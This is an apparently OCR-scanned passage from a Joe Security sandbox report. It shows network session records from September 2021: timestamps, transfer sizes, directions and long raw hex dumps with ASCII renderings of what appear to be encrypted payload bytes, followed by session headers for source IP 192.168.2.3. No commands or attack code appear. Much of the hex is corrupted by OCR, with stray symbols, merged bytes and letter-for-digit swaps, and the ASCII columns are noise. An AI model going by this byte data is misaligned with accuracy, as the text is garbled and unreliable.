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kBytes
Timestamp transferred Direction Data

2021-09-28 07:53:28 UTC 508 IN Data Raw: el a2 9d a8 35 3 80 f0 83 de c9 21 64 67 c5 c1 5d da 76 9b 59 20 91 35 6f f8 d7 81 al f7 d4 c5 d4 d3 4c 8a 2a
ac 4f 1e 5¢ 7f e0 d8 04 0f dd 98 54 d0 90 3a f8 a7 86 30 ca a3 54 26 ef df ff 43 24 e4 05 8a 21 d2 59 48 fa 7b 46 a7 7a 44
b2 05 32 84 34 c1 da 4b 06 ad 75 5f Ob d9 4b 70 df 52 b9 98 a8 d1 8e a5 43 92 ac 66 94 da dc f2 4d dd ef f6 84 54 78 6d
ba 9b 6f 22 cf 82 8b 1f 9f ea 5f 66 c4 ce 12 el ea dd 34 27 fc d7 fd 07 95 58 ae fa 81 6¢ d3 11 34 fd e3 d9 52 8f 27 8f 5e 3c
2c ec 71 be d3 8f 88 dd 8a 27 dc 49 c6 17 30 0a 01 57 c6 0d 29 47 d2 ba d2 91 47 21 19 92 cf 8b 75 69 47 91 f6 75 78 4b
6f ed b0 ac 47 76 d6 31 59 5a 5¢ 6b dc aa 49 83 62 76 f6 13 bb f0 b4 96 Oe c0 63 fa 74 26 db 50 45 ce cd Oc 64 el 27 82
16 f8 al 6e 13 ec bd 73 44 6¢ 9b 70 3b 50 44
Data Ascii: 5!dg]vY 50L*O\T:0T&C$!YH{FzD24Ku_KpRCfMTxmo"_f4'XI4R"<,q'I0W)GG!uiGuxKoGv1YZ\klbvct&PEd
‘'nsDIp;PD

2021-09-28 07:53:28 UTC 512 IN Data Raw: 92 47 98 59 5b 6f fO €5 ¢8 19 7c db 61 d6 ba a2 08 e6 ef 33 3c 09 ad b2 7c 84 54 cc 70 eb 99 63 ef 12 ¢5 d3 70
c7 42 6¢ 97 3218 25 a5 17 84 6d cc 85 84 be 1c 11 4a 9d 43 12 9d 43 d8 Oe 91 67 c3 51 4e a4 a0 82 e7 f8 d2 37 32 17
81 dc 64 1b 01 ef ca 89 f9 46 8d 06 6e e7 31 9e 79 be 56 a3 ad 1a 20 17 b3 61 16 af 19 a0 2e ae e0 af 64 f2 82 d5 2 bc 5¢
89 b0 ae a9 ¢3 83 95 ae 81 90 c8 cd 5e 1a 9f 8¢ 1d 7d 7c a7 4e d4 c7 95 60 80 15 93 cb 09 ad Oa 3e 73 ab de 87 e8 1b 2e
84 9c 21 7f da ce 20 e5 f9 fe a2 a2 ac 8c 41 ec 10 4d 90 a6 11 a6 8b 7b 1b 59 a3 79 83 98 be 5d 32 8d 1b 3a ea 46 48 28
47 e1 57 97 de el cc 2a f4 ec 7e 0f 97 c0 a9 e8 94 f1 6¢ 24 77 95 d7 fd 87 7d aa cb fa f9 b3 c5 9f 43 4e 15 66 48 53 d0 3b
e5 36 7e 5¢ ¢6 b2 16 00 43 b6 2e 5b €6 47 13 12 ff
Data Ascii: GY[o|a3<|TpcpBI2%mJICCgQN72dFnlyV a.d\"}|N">s.! AM{Yy]2:FH(GW*~I$w}CNfHS;6~\C.[G

2021-09-28 07:53:28 UTC 516 IN Data Raw: 17 1e 36 Oc a0 9e 20 80 f5 4c cb 94 04 84 e4 8e 5 f9 38 05 93 12 €0 60 14 f5 32 76 f5 fd b6 73 fd 66 45 18 8d
4b a0 00 cf 6e cc 95 3d b7 b5 fb a8 e4 Ob 32 f2 97 88 c8 44 b4 fe 10 a4 c9 ac 84 d5 ba 7d 39 ea 08 23 93 ¢8 27 65 Ob 2c
b2 48 a8 32 ad 40 7c 5f 05 dO 8¢ c9 c4 89 f6 4b 7d 94 13 99 75 47 a3 a0 44 f6 4d 3a 57 51 b3 32 76 c8 47 92 da 90 49 4d
45 85 65 1a b2 f2 aa 38 bb bf 4c 97 5d be 2b d7 cb 43 d2 4e e5 b4 6b f1 06 3b ef 61 44 26 ff 8a 40 dc f5 11 04 c9 85 00 57
91 e6 67 aa fb 6f 50 Ob e4 bd c1 1d d9 ec c5 13 be fd f1 bb 50 {7 59 cc 9e fe 2a 3f 60 9c 1le 57 8d c8 fc 8e df d2 Oa 63 a7
80 8f €8 7a d3 9e 47 0d 2a dO de 73 83 2e 7f 33 41 33 24 5b ef a3 9a 1e 9f 32 60 cO a7 24 ba 90 e7 13 3c 5f cb a0 8e 40
38 ad fc ea 6¢ 90 06 65 f0 96 eb 77 49 34 25 5a
Data Ascii: 6 L8 2vsfEKn=2D}9%#'e,H2@|_K}uGDM:WQ2vGIMEe8L]+CNk;aD&@WgoPPY*?"WczG*s.3A33$[2'$
<_@8lewl4%Z

2021-09-28 07:53:28 UTC 520 IN Data Raw: 9c c5 37 8e 4e 51 ad 0f a4 fb a3 2d de 2f 55 2c 8a 00 Oa b6 d2 e3 6b 7c 13 06 f3 83 87 fa 71 c0 1le cl 4a af ca
05 04 23 f6 9e 19 ¢5 2d bc 29 4c 4f e5 b9 06 1d 58 f3 63 48 1e 4d Ob 6d 66 75 d7 12 3f dc d6 96 47 c5 66 cf 67 60 f4 92 eb
14 73 ¢6 ¢9 59 e5 b7 00 d7 ce 01 c¢7 b8 d8 8¢ 6b d4 8a 8d 06 c6 46 8e 9f Of 7e cb 11 db 87 06 bb 3b b8 59 0d de 3b el 2e
€861 93 14 27 b2 0b 69 33 79 7f 41 53 8¢ aa 9c fO b7 95 61 16 58 02 59 b2 Oc 4d 38 d7 d8 2c dd ef f6 4a 1d 78 fb 97 0d
86 de df 97 21 c¢8 64 85 04 f0 dd 75 26 f3 d8 f8 a9 77 fb aa c2 cd e2 bf 99 f9 9d 14 a9 47 b5 4a a3 fb af fb 50 e3 67 5a a9
8d b6 be fd f2 97 bc Oc 15 04 5b 70 d8 9f 30 b9 83 8e 31 db d6 ad ea 38 2c b5 3d 35 51 eb dc bl d5 72 8d d6 eb 92 20 8e
d4 88 61 40 3d 5f 2b 7b 8e eb 25 c7 65 e7 4b e7
Data Ascii: 7NQ-/U,k|qJ#-)LOXcHMmfu?Gfg'sYkF~;Y;.a'i3yASaXYM8,Ix!du&wGJIPgZ[p018,=5Qr a@=_+{%eK

2021-09-28 07:53:28 UTC 524 IN Data Raw: 47 92 2a 30 36 42 65 de d9 b0 63 58 98 e4 bf ac 94 f8 6¢ 58 ec a6 82 6d c7 9c 2f 2f 99 4f {3 be 80 0f 02 b9 4d
27 3b 81 ff 1f 83 cc 73 7d da 45 fc 88 4e 21 76 73 41 a2 de f6 b3 8d 14 b4 7b 76 29 7c e3 dc bb €0 9f 6¢ fd 4e e3 a5 5b fc
93 ff 76 ca d8 6¢ f9 b4 ac de e4 5¢c 97 e7 cc ac f1 1le 4e 4f 9c Oa 5e d8 af 17 6f 56 cf 00 54 6b 39 57 93 cf 09 5f 2f e0 cd f4
58 f6 c4 59 bb e0 eb a5 40 cb 67 3d 88 bf de Of e4 14 41 64 9a 34 80 da el 2c 06 09 81 91 08 47 a4 35 36 70 e5 64 e5 17
a7 76 ae bd 3a 4b 58 29 e2 0a 82 93 56 6e 42 23 20 db fa 52 28 6e 3f df 22 el 8b Oe 8b 51 2a 86 62 29 29 6¢ 3c db d4 01
33 be b4 e8 d8 bb dc 85 72 5b 5b 4e 70 f5 fO 70 86 e4 fb b7 18 ec 50 69 d2 6b 5a Oe 74 c1 80 a8 e8 70 62 ff 71 79 b7 4c
fd be da 66 a5 cd 9f ab 79 0d 22 23 fe d1 c9
Data Ascii: G*06BecXIXm//OM';s}ENIVsSA{V)|IN[VANO”oVTKOW_/XY @g=Ad4,G56pdv:KX)VnB# R(n?"Q*b))I<3r[[Np
pPikZtpbqyLfy"#

2021-09-28 07:53:28 UTC 528 IN Data Raw: 05 al dd bb d4 06 ff fd a0 23 d3 88 8c b9 4b d9 ee Oe 56 55 3d 18 d7 d7 45 26 45 7d 89 5d 7a 52 a6 a2 ec d8
50 e2 2e 8f 6d 9a b6 87 d5 8f da d3 fc 08 f3 e3 9e 36 6¢ 07 83 f5 07 2b ef cc 52 b4 6d 9e d1 6d 57 c5 42 59 43 d3 8a 60
67 ca 7c c9 93 8a 66 31 51 95 fe fe 6d 92 32 a4 a8 4b 6¢ a9 5¢ 60 6f d7 0a 74 7e 72 41 59 92 08 2c 71 79 fc c4 8b ca e8
ee ee ef df ch e3 ca 02 Oc ef 5d eb 8f 76 8b c5 a0 af 12 08 fe 76 ab €9 4b 94 07 f2 4b ee c9 ed be ea 8c ee 19 06 86 03 ff
57 de 76 39 06 a4 3d 8 7f c1 6f 79 74 f9 16 bb 5e 22 56 79 e3 bc 62 13 a5 46 a0 93 bf 7e 2f 5f d3 a2 84 29 33 4e be c1 46
dd 58 70 ae Oa Ob 4f 08 c5 28 df 23 7a 5b bd 34 34 Oe ad 58 4f 37 94 d4 71 2c 08 48 c1 47 55 47 24 4c fe 66 22 56 b9 29
Oc c3 f9 e3 35 e3 84 03 6a 51 aa d7 48 6a 82 6¢ 3b
Data Ascii: #KVU=E&E}|zZRP.m6l+RmmWBY C g|f1Qm2KI\ ot~rAY,qy]wwKKWvI=oyt "VybF~/_)3NFXpO(#z[44XO7q,HGU
GSLf"V)5jQH;jl;

2021-09-28 07:53:28 UTC 532 IN Data Raw: 52 02 13 39 18 29 00 5a 7f 4b 7d a2 ca da bb 65 9f 5¢ bf dc 7d 39 66 23 cO 1d 38 4d 51 40 a7 a5 6¢ 4d 83 65
10 bd 09 07 76 c3 ae 4f 01 ed c6 8b el 21 48 57 97 20 b8 d7 4a 92 1d 4f bd fc d6 2c 6 4c 5 ac 63 f1 f9 5e d2 f1 d1 44 bl
2a 3086 bl d8 d0 64 61 fc b9 18 75 62 Oe e6 d3 e2 d6 30 39 77 e4 53 el ea 17 d0 13 68 16 46 9f 7 da 4b 7c 1f 9a 47 07
61 3a 6f 5d b3 06 08 70 f7 2d 6f 58 c1 e7 96 a6 2d 4f 8e cf 59 68 b4 85 4b 67 7e c0 2f e3 92 99 a8 9a 49 a2 b6 59 30 5c df
11 a1 37 a3 9b 56 fb 46 19 9f 8a c2 c8 bd Ob dO 16 ae c7 28 56 45 89 23 48 1f 03 18 93 3b 28 46 a8 66 9e e 07 da e8 b4
82 76 4d ac 6b ae eb c5 88 8d 38 7a d5 53 b4 07 92 c6 ad 7 2e f6 82 e8 dd 3e 86 93 ad 16 7a 3d 38 4¢c 01 c¢3 ba 60 1la 11
c3a6a8a898c300ela5299a98al 9952 9f di
Data Ascii: R9)ZK}e\}9f#8MQ@IMevO!HW JO,Lc "D*0daub09wShFK|Ga:o]p-0X-OYhKg~/1YO\7VF(VE#H;(FfvMk8zS.>z
=8L")R

2021-09-28 07:53:28 UTC 536 IN Data Raw: 36 97 05 84 74 70 ae 31 dc 8b ¢7 20 0d €0 c7 eb 79 29 a9 18 a6 93 al db 7f a0 36 c3 b6 26 9f b9 15 40 96 b0
4854 al do 36 cf ee ab 9b 40 87 ff b0 28 5a 18 24 9f 1b 5d fe a6 4a 9a Ob 74 75 64 88 31 89 d7 03 e3 cd 38 3c Ob 43 fd 5f
89 a4 bf 3b 0f 75 01 26 fd a3 b5 50 €9 06 02 52 0d bc 80 bc 18 81 d4 31 0f 2f 21 fd 07 7c¢ 39 94 Oe b6 7f b1 8f 93 23 dd a5
62 3e 5d 06 9e 29 c5 e3 2a 75 48 90 d4 d8 3b ee dd 5a 14 d3 16 38 09 f7 9d af 54 36 f8 d6 49 71 da 64 32 46 01 3e d7 68
ce 5¢ 17 19 d5 ff 65 dc bl ea 92 65 d8 9e c6 cd 75 14 0f 95 15 99 db 93 95 fa 98 5f 95 5e 9c 2e 9b 49 da 7f da a7 49 36 a2
bb 68 10 12 aa 6¢ 32 ¢8 72 31 87 87 30 4e 3d be 9a 29 f3 ab ee 75 d2 f5 c5 ef d5 36 2b 62 40 b0 8d 5f b8 91 7a 9f 12 61 fC
47 a3 ee a9 d0 4a 39 04 dd 14 5d a5 c8 f8 8a
Data Ascii: 6tpl y)6&@HT6@(Z$]Jtud18<C_;u&PR1/!|9%b>])*uH;Z8T6lqd2F>h\eeu_~.116hI2r1ON=)u6+b@_zaGJ9]

2021-09-28 07:53:28 UTC 540 IN Data Raw: 73 1c 6a b6 52 12 b8 df al c6 02 46 25 dc 61 67 4f 2b d8 84 5e 31 1a 7a b3 53 58 76 ce af 9f 39 12 46 64 8e
2a 57 14 20 68 32 de 46 cb €0 3e 93 cf 10 d3 fd 1d b7 5e 35 a9 95 36 el 33 d0 5e da cc 6d al 13 d0 67 a4 9d 94 bb Oe 75
a7 0a b5 1f 53 2f 31 78 ae 67 cb 04 2e 55 71 e0 80 62 26 73 18 cd dO 89 54 a4 f9 da de 32 59 ba b7 aa 36 1e 07 01 7b 82
4a4b 39 2b c3 94 0d 52 fe ae 89 6e 1c cb c8 6b fe ab c6 2b 80 62 49 47 cd 3f 87 5f b8 82 90 2f 78 d9 da af 6b 7d ad 75
d2 66 80 e5 ae ad 20 d2 8e 2d d1 2e 60 94 27 1c 30 3f 69 7b 20 da 10 c9 79 00 59 79 98 6a 4e 11 25 ac 8b ff 81 6d c6 3¢
ad d7 b5 2f fd b6 23 4f 12 8d 16 4a Oc 14 d2 4a fe 26 43 08 81 44 87 f1 b6 af d6 07 2d ea 44 15 91 7 54 d3 c4 ee 9 62 Od
9a 5 29 4a 8a 29 ¢6 77 11 c8 d2 00 9e 9e f3 18 d6 7e
Data Ascii: sjRF%agO+"1zSXvIFd*W h2F>"563"mguS/1xg.Ugb&sT2Y6{IK9+Rnk+bIG?_/xk}uf -."'0?i{ yYyjNY%m</#
0JJ&CD-DTh)J)w~
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kBytes
Timestamp transferred Direction Data

2021-09-28 07:53:28 UTC 544 IN Data Raw: d9 72 18 a5 70 be f4 61 51 f0 a6 35 a8 18 76 e7 €6 aa d9 9e a8 10 25 dd 18 79 5f d5 26 0a a3 bc d2 ef 49 28 f4
59 2e 96 bl eb a8 49 68 ab 5e a9 24 54 de ca 7d 4a 19 d8 2e 1c da 8c f6 ca 04 74 3a 00 1b b2 23 d3 c8 9f cd f4 bd Oe 3d
90 62 b0 cd 25 40 46 c5 ce 75 e6 c8 df 3f 08 9b de 08 a2 d3 f6 54 2d f9 97 62 52 76 ad 30 5b 46 cd c4 f9 9a ce {7 a5 ef Oa
79 9f cd cb 7b 50 79 8a cf 1e 50 69 6e Oc 56 dd cb e7 02 2c 51 db 7d 19 5f b3 c3 3b b1 4d 4f 48 e7 1d 41 8e 96 19 f2 dd
07 68 85 87 f3 7a fa 52 bf ee ba 97 3a 58 36 25 bd 8e d5 84 f4 57 95 80 7b 6f f8 7e 5d 5c 85 aa €3 dd 67 49 b4 e9 13 fc d4
5c 96 3b f8 fa 4f 63 e8 73 al 6f 5f 49 8e 12 da 6¢ 1b ba 9d 65 c2 ac 2f 82 09 8a 4f a0 ff 3f 15 41 5f 1d bd 32 a3 79 c8 d6 03
2b c6 8d ce 8a f4 b6 37 75 9a 5a d8 94 32
Data Ascii: rpaQ5v%y_&I(Y.IhM$TH.t:#=b%@Fu?T-bRVvO[Fy{PyPinV,Q}_;MOHAhzR:X6%W{o~]\gl\;Ocso_lle/0?A_2
y+7uz2

2021-09-28 07:53:28 UTC 548 IN Data Raw: €3 98 30 d9 86 3e 45 cb 62 6e 69 9f 95 14 b0 14 8a b3 11 b3 bb 30 e6 d0 a6 02 9f fe 02 75 a7 ff 3b b4 98 23 5¢
97 c0 d6 05 c2 36 fb d2 62 fc 69 5e d5 70 €9 f2 dd 58 d1 29 1a 2b 3 18 07 c5 ab fb 53 e7 3f b4 43 40 61 67 2d 88 f2 87 ff
5e 72 9d 85 6e le 62 09 c4 e5 e3 df 22 52 82 11 06 09 91 5e f4 c8 fc bd 11 cf 64 30 fa 4c 5¢ 00 27 20 d2 c4 4d e0 54 84 f1
04 fa 4a d0 58 e6 84 cc 52 9e db 6¢ 9e ac 32 69 85 0a 67 15 bc 4f 20 24 ac 6f 36 ef 7c 56 42 b5 c5 a7 8a d5 ac 1b 8b a2
d2 ad €9 dc 66 be 34 fc €9 be 67 cd 62 22 65 57 f1 22 5¢ 64 b0 d6 90 92 b6 b8 9f e4 d9 d9 a7 d9 08 7e 31 a3 4a 4b b9 ec
d2 33 26 2b fc b8 52 dd 00 d1 42 e4 b5 b6 bl 6¢ 11 17 57 c1 73 f8 da 3c 6f 66 1c e4 82 5b ec 4d 14 00 77 70 98 2f e8 ea
27 0b 08 2c f6 2a 41 e5 ca 16 8e a4 79 23 58 86
Data Ascii: 0>EbniOu;#\6bi"pX)+S?C@ag-"rnb"R*"dOL\' MTIXRI2igO $06|VBf4gb"eW"\d~1IK3&+RBIWs<of[Mwp/' *Ay#X

2021-09-28 07:53:28 UTC 552 IN Data Raw: 33 67 47 7c b6 6c 87 60 bc 13 f2 25 17 96 e9 32 77 d2 ca cc cd 6e f0 70 c6 ed f8 80 69 c7 23 e7 Ob 98 cd b6
05 ff a3 0d dc 19 3d 5f dd 62 0d a6 35 fc 97 5a 17 Oe d6 13 e7 af 23 63 9¢c 26 5c c0 36 eb 61 97 28 b8 00 1d 13 37 4d df cf
cc 96 6a b3 bd 6a fd 85 99 54 ef 4c dd f6 25 19 d8 d8 35 40 ac d1 €9 f1 3e ca 22 b6 51 66 26 90 c4 96 31 1e 6d 97 63 fd
08 f0 32 f8 11 90 56 b9 d6 6d €8 87 ca ae a2 df a5 a4 88 46 15 2f a3 7c c2 69 18 43 f7 28 38 60 {7 5d 14 ec f8 80 3d 5e 84
€7 92 1b c0 d0 1b 4b ¢8 d3 79 b3 b0 52 5¢ 80 1f 21 c0 66 0d 84 d8 50 fa d7 1a de 87 3a c0 c5 ad a3 6f 31 21 af c1 2b bd
62 3d dc 62 95 af 97 eb 9d c0 c6 ce dc 5 14 5b 6d 97 64 51 c7 9e 4a 54 05 8e 23 af 90 51 f4 d4 80 fO 57 Oc 3a 48 d6 50
97 3c fa b2 c3 4d 05 45 bb 7c 26 3b ba b7 2a 51 b4
Data Ascii: 3gG|I'%2wnpi#=_b5Z#c&\6a(7MjiTL%5@>"Qf&1mc2VmF/[iC(8"]="KyR\!fP:01!+b=b[mdQJIT#QW:HP<ME|&;*Q

2021-09-28 07:53:28 UTC 556 IN Data Raw: 7e 25 15 b6 56 d2 4a fO 6f 82 9d 5f cb 82 ab 6d 1e fe €3 31 ¢3 2c 19 c4 67 e6 4f dd a7 8e 53 85 92 42 27 10 1b
a9 7f 56 8c ff 08 be 16 a3 69 b7 1e 07 05 f5 20 c6 cb 29 5f cc ¢9 63 2e db 90 f2 a9 7a 2d c1 30 6b 87 9a b4 7e ab 84 34 18
6a 4c e5 21 d2 41 7e 5a b4 56 33 0d 21 88 ff €6 2f 5¢c cb fe 76 af 2b af 67 c3 aa 9e dd 6a 54 61 8c 3d 13 ea 7e 8c 59 8e 8b
06 db 07 ea aa 77 fb al 7e d5 Ob b6 41 0f 50 a9 54 1d 55 6b 31 30 bc 95 70 73 5d f2 6e e4 35 8 bc 58 88 54 05 c2 5a 94
8e d5 21 f7 Oc 86 39 98 09 7f f7 76 1f dc f7 a4 73 fc d8 00 ee e0 60 fa 35 75 56 d6 b1 cf 2d 33 3b c4 a2 6b c0 6f b3 23 e7
6d 5b c5 0a 08 3d bc a9 a2 8e 5a 6 15 d5 5a 3f 01 17 4d 49 0d aa 08 aa 5a 25 a3 d0 3d a6 b4 43 f1 bd 67 b2 75 5b fa 95
3a 75 83 58 95 5e 28 99 99 08 el c3 be 5f e3
Data Ascii: ~%VJo_m1,gOSB'Vi)_c.z-0k~4jL!A~ZV3!\v+gjTa=~Yw~APTUk10ps]n5XTZ!9vs 5uV-3;ko#m[=ZZ?MIZ%
=Cgu[:uX~(_

2021-09-28 07:53:28 UTC 560 IN Data Raw: 8b d1 d2 e2 59 fO 30 88 ce 36 40 6d 13 65 54 12 fe b1 8c d8 a7 8d 92 1c 64 70 89 31 3b e3 fe 86 2d dc ec cb
6C 29 b5 27 f4 bd 44 70 ff 9b c8 41 a0 60 d4 1le 03 5c¢ 3 ec 50 69 4a 95 20 9f 7d 9f 84 55 3b €9 24 4d bd fd 65 16 d7 b1 19
18 f4 96 43 4a 8d 5f ff a0 €9 9e 47 98 c4 b9 87 ad 47 e7 40 al ec 6a 29 24 ae cf 69 b9 b5 9d a7 c0 3e 10 94 c8 c7 e6 c8
ea c7 bf 91 a0 e9 86 02 75 68 62 d3 ca d3 e6 52 27 ed 3c 5a 74 e3 db e2 82 30 c0 91 82 44 3b Ob d2 3f b8 3a 67 93 ea 1b
c2 4f fO be 02 31 2d 75 b9 06 45 1e 33 6e ef 1d bd 4d 1f 21 f9 28 a3 2f fd 5b 00 1b a0 02 18 c6 44 c6 49 01 de 66 54 95 eb
le 21 0e 92 ab Oe 61 3d fc ad 29 85 5d 2f d7 f0 02 89 a9 7e 02 Ob be 63 fb 60 20 72 f2 ac 48 59 7e ad df 47 94 41 a0 96
el dd 90 25 00 cf b9 Oa aa el 74 9e 22 ab 42 22 5e
Data Ascii: YO6@meTdpl;-I)'DpA’\PiJ }U;$MeCJ_GG@))$i>uhbR’'<Zt0D;?:g01-uE3nM!(/[DIfT!a=)]/~c’ rHY~GA%t"'B""

2021-09-28 07:53:28 UTC 564 IN Data Raw: 7d 6e 27 16 38 6d d1 cb 25 76 8f 8c 67 Of 76 c1 b9 69 6a 64 10 01 44 db 16 67 ae 17 ca 02 57 64 6a 3e cf €5
f2 5a d8 68 97 ef 1e 2d 48 04 03 f2 8¢ 82 e5 ed 06 2b 26 40 d3 7d 45 db 08 87 4e 3f 45 ac 20 48 4d 95 9a ad c7 95 35 db
a373 07 c8 ab 25 14 43 3b 1f 65 8a 26 ff ee c4 d1 cc 75 ca 4b 41 08 15 51 12 d4 fe e6 7c 4d e5 44 e2 57 a8 6¢ ea a8 bc
5b 06 f1 ba 39 74 81 7a bf 85 2e 2f 6d b1 51 a4 b2 b8 92 65 be 52 25 82 ad b3 f6 09 82 84 53 c9 9f el 3d 2b ff de 99 08 b5
2b a5 04 c7 ca ad 04 04 43 e6 ea c2 92 5a a8 e0 77 27 b9 3c b6 1f 41 42 b6 81 0a 50 80 74 89 f0 a7 81 75 98 c1 bf 3b d7
85 2f ce 87 0 59 22 c3 f1 50 96 2b 69 41 a0 fa 18 e3 86 85 5a 72 ff 37 69 f3 e2 2d ef 65 a0 52 69 b6 e2 a4 c1 98 05 b8 2a
7f 2d be 90 68 15 a5 51 24 ae ae 1b 0b 0d 51 03 35
Data Ascii: }n'8m%vgvijdDgWdj>Zh-H+&@}EN?E HM5s%C;e&UKAQ|MDWI[9tz./mQeR%S=++CZw'<ABPtu;/Y"P+AZr7i-e
Ri*-hQ$Q5

2021-09-28 07:53:28 UTC 568 IN Data Raw: a2 73 45 5f 71 25 5d 34 ca 35 Oe 74 cd c1 ab 7f ce 75 78 ea 19 74 6e b6 4c c2 2f 39 98 a9 54 58 a3 ab 7a 66
732bc4 al 13 7b 43 de e4 e0 ce 7c ff c7 ac d1 20 f7 44 84 c3 3d 1le 72 11 ed b4 de b2 9f e7 57 cd 3b b1 4b de 6e 7c 65
1570 fa 56 ce a4 c9 b8 6b 7d d2 02 6f 23 51 7a 19 ea a3 7a 3e 20 50 b6 39 92 4c f2 9c ¢8 1a Oc a0 d5 a8 d9 e9 d4 97 8a
ad ef 5a 8d 55 78 al db ab 58 88 65 d1 3e 3a 75 6¢ 38 1e €8 39 79 8e ee 05 99 Of ed f5 08 88 ba 94 21 28 21 ec 48 8f b4
6b 42 b5 46 6¢ e6 99 f9 10 5e cc 22 87 22 9d 85 3f 34 e4 e2 56 37 90 82 ba 43 33 75 dd d1 bc 3d 29 05 b9 96 80 a4 88 9e
97 3e 01 55 b6 0f 32 €8 80 97 c1 ed fc 88 14 63 79 72 5b 2f c0 41 b0 c6 aa 1b 88 17 9c d4 84 f7 24 30 ed c3 af 1e d1 4c 8¢
de 8e 25 67 8e 78 b2 1d 41 9f f8 3d 8c be b6 €8 e9 24
Data Ascii: SE_q%]45tuxtnL/9TXzfs+{C| D=rW;Kn|epVk}o#Qzz> P9LZUxXe>:ul89y!(HKBFIN""?24V7C3u=)>U2cyr|
IA$O0L%gxA=$

2021-09-28 07:53:28 UTC 572 IN Data Raw: 5e eb 27 22 fa 2d b8 64 94 87 7d 1d a3 3f 4f 53 f6 55 3 af de a9 bc e7 04 7 2d 4c b8 aa 4a b3 db 87 58 d8 d1
7a 712316 ba e4 3d bc cd 4b e8 a8 6a fO fe 17 76 85 01 el f4 dO 1d 7e d5 c9 17 9e 62 74 63 66 be bl e0 86 ce 54 c7 ec
50 60 c7 a5 73 8e e6 e2 eb fd 5b d1 74 64 53 53 2a 34 50 5f 28 65 f0 a4 0d 4e bd 37 14 c0 Oc e4 0f a7 32 d6 be d8 3a b5
63 5d a4 1b 12 92 d2 f0 d1 d2 f2 ca aa c8 el ae c7 Ob 84 b7 0d 86 df a4 71 b4 93 b9 18 2e 1b 60 3f 2b 39 9e 45 85 14 68
02 73 fc b8 21 49 68 20 c3 63 a5 a2 2 1a ee aa 5f 8b 31 64 dO b7 11 24 5f df 19 da 4e 86 53 04 a0 3f 24 49 25 c9 dd 7d df
9a e2 db ab 27 bf 50 9e 46 d6 77 db a0 65 b1 d5 6d 26 e2 1c bc 88 d9 fd cO 6¢ 1b 05 dd b0 37 54 f1 8b 7b 3a 67 70 75 01
f2 51 cf 0d 7f 70 e4 a2 62 a0 6f ec 31 a3 73 fe 07
Data Ascii: M"'-d}?0SU-LIXzg#=Kjv~btcfTP s[tdSS*4P_(eN72:c]q. ?+9Ehs!lh c_1d$_NS?$1%} PFwem&I7T{:gpuQpbols

2021-09-28 07:53:28 UTC 576 IN Data Raw: 03 bd fe 27 c1 7c 3a c8 2f ef ca 3c a8 3f 6e e0 fd 18 ce e0 c6 2b 80 94 71 al 10 54 38 1e 88 3d 31 46 Oe 29 de
ff 8b 60 5 86 ec 22 6e 8a cd 05 af d9 81 45 8a b3 6a fe 70 43 15 51 24 5e b5 39 35 24 71 fe 55 b0 df 29 7a 83 a4 6e 17
aa e5 ac 29 b6 60 1d 78 3c 4c 66 92 Ob f2 fa e6 8e 7a 8a aa 00 c2 bf de 86 09 74 89 f6 12 a0 7f 2f b0 3d 4c 33 8f f5 c1 a4
ed 48 48 7f 99 6a 50 f5 1e ed 63 8f fe ba 4c 89 2¢ 13 53 71 71 fe 60 a6 b9 71 01 60 9a 5a 37 09 77 60 4a de 1a 79 30 5d
32 3c 71 al 99 4a 55 56 6e 1a 9a 46 dc 7e fd 4a 6f 61 3c 46 a7 2d 38 ae 47 03 Oe dO 98 72 8f 5 dd Of d8 f1 26 8 11 60
b5 9a a0 4b 65 9a 06 d2 d2 ae 59 5b 34 e7 f8 b3 7e 73 Oc 5b 84 al 36 17 51 48 3d c4 a0 ef c2 eb db 27 1a 34 09 e2 f6 b0
b9 89 0f 58 6f 6b 6a 16 48 b4 ab ab 49 8a 9d a7 b8
Data Ascii: '|:/<?n+qT8=1F) "nEjpCQ$"95%$qU)zn) x<Lfzt/=L3HHjPcL,Sqq’q Z7w'Jy0]2<qJUVnF~Joa<F-8Gr& Ke
Y[4~s[6QH="4XokjHI
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kBytes

Timestamp transferred

2021-09-28 07:53:28 UTC 580

2021-09-28 07:53:28 UTC 584

2021-09-28 07:53:28 UTC 588

2021-09-28 07:53:28 UTC 592

Session ID Source IP

50 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:09 UTC 983

2021-09-28 07:54:09 UTC 984

2021-09-28 07:54:09 UTC 984

2021-09-28 07:54:09 UTC 985

Session ID Source IP

51 192.168.2.3

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49968

Direction

ouT

Source Port

49969

Data

Data Raw: 41 f3 6e 2e 4b c8 b5 d5 ac ea 00 d7 Oc 5e de 75 f9 fb 81 3f af 57 70 56 db e3 84 be Ob 4e dc 30 75 Oa 4a 6¢ 10
19 5b 41 ¢5 30 f0 37 b8 e4 c0 Oe d6 c9 34 5e 3a ce 6f 2c be 8e 76 b9 ef 0d 89 3f fO 1d 7c 53 5f cO 78 5b 17 ac d8 ca 55 3c
a5 55 61 7f 31 97 b9 38 ab e6 a0 97 c1 a8 12 7a 49 1c bb Oa f6 a2 2a eb 27 69 bd 48 6c b6 c3 56 ff a9 84 3f af 1d dd ed
2d 6d bf 1f 60 05 fd 5¢ 72 6a 2c ¢5 f0 90 01 fb 77 1a bc 85 d3 fb da 64 25 76 18 8¢ 7f 7c d8 2e 46 0d 86 bc 18 0a 67 db 2b
bc 17 9e 92 05 4d e4 a3 1c 12 c7 3e 53 99 af d7 Ob ab 74 66 ed 28 91 18 22 ad bd 90 a7 74 4e c3 1d 89 7a df 60 40 c1 db
cf 03 86 2e 4d 66 fb 72 ed ab c¢3 08 Oe cc 5b 48 66 2d 7c 76 5e 50 1f f5 96 0 Oc 4a 70 9b 97 fc 1f 13 af 77 2c c0 c3 bd 39
c5 b5 1e 3e 9f bf 62 04 2d fa 06 1c 00 43 b4

Data Ascii: An.K"u?WpVNOuJI[A074%:0,v?|S_x[U<Ual8zI*iHIV?-m'\rj,wd%v|.Fg+M>Stf("tNz @.Mfr[Hf-|v*PJIpw,9>b-C

Data Raw: 19 3e f3 cb da 19 45 fe f7 3f cd 35 dd cc €9 9a 17 64 ac 76 78 c¢3 07 fb e8 74 48 cd f9 95 9c {7 2b 65 62 66 e2
e1d0 cad9 f8 f4 80 ff 4d 03 f5 05 1d 41 78 3f 63 b5 83 73 eb 69 16 34 8a 9d bc 65 b5 17 bd 00 b6 81 6a 0a 29 db 7e b5
b0 69 01 18 21 09 d9 67 1a e5 c2 80 c5 30 ce 11 9f 21 14 5b 82 86 47 91 93 dd Of 1d ac 3e 5e 76 56 f9 90 53 f2 8e ca 7b
